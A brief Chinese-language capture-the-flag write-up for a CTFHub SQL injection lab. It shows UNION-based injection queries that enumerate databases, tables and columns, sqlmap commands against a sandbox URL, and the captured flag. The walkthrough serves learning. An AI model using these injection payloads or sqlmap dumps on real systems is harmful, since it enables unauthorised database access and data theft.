小白一个,如有错误请指正!
解法一:
1.这里还是老方法,输入 1, 2 ,3 ,得知字段有两个
2.爆数据库
select * from news where id=123 union select 1,database()#
3.爆表名
select * from news where id=123 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
4.爆字段,爆完得知其实flag是在qakmzmsenl表里
select * from news where id=123 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'qakmzmsenl'
5.爆flag
select * from news where id=123 union select 1,jcpppvdskp from sqli.qakmzmsenl#
成功拿到flag
ctfhub{25d00627b6a8008e89d5cf74}
解法二: sqlmap
1.爆数据库
sqlmap -u http://challenge-f172cbc3ba2e04cd.sandbox.ctfhub.com:10800/?id=1 --dbs
2.爆表名
sqlmap -u http://challenge-f172cbc3ba2e04cd.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
3.爆字段
sqlmap -u http://challenge-f172cbc3ba2e04cd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T qakmzmsenl --columns
4.爆flag
sqlmap -u http://challenge-f172cbc3ba2e04cd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T qakmzmsenl -C jcpppvdskp --dump